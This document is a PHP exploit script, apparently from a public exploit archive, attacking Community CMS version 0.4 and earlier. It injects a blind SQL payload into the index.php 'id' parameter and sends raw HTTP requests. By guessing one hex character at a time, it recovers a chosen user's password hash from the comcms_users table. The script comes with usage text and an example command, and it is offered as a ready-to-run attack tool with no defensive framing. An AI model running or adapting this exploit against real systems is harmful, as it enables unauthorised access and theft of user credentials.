--+++==============================================================+++--
--+++====== Community CMS <= 0.4 Blind SQL Injection Exploit ======+++--
--+++==============================================================+++--

<?php

function query ($user, $pos, $chr)
{
  $query = "x' OR ASCII(SUBSTRING((SELECT password FROM comcms_users WHERE username = '{$user}'),{$pos},1))={$chr} OR '1' = '2";
  $query = str_replace (" ", "%20", $query);
  $query = str_replace ("'", "%27", $query);

  return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
  $chr = ord ($chr);
  $fp = fsockopen ($hostname, 80);
  
  $query = query ($user, $pos, $chr);
  $get =  "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
    "Host: {$hostname}\r\n".
    "Connection: Close\r\n\r\n";
  
  fputs ($fp, $get);

  while (!feof ($fp))
    $x .= fgets ($fp, 1024);
  
  fclose ($fp);
  
  if (preg_match ("/Failed to load page/", $x))
    return false;
  else
    return true;
  
}

function usage () {
  exit (
    "Community CMS <= 0.4 Blind SQL Injection Exploit".
    "\n[+] Author  : darkjoker".
    "\n[+] Site    : http://darkjoker.net23.net".
    "\n[+] Download: http://surfnet.dl.sourceforge.net/sourceforge/communitycms/communitycms-0.4.zip".
    "\n[+] Usage   : php xpl.php <localhost> <path> <username>".
    "\n[+] Ex.     : php xpl.php localhost /CommunityCMS admin".
    "\n[+] Greetz  : certaindeath".
    "\n\n");
}

if ($argc != 4)
  usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
  if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
  {
    echo $key [$chr];
    $chr = 0;
    $pos++;
  }
  else
    $chr++;
}

echo "\n\n";

?>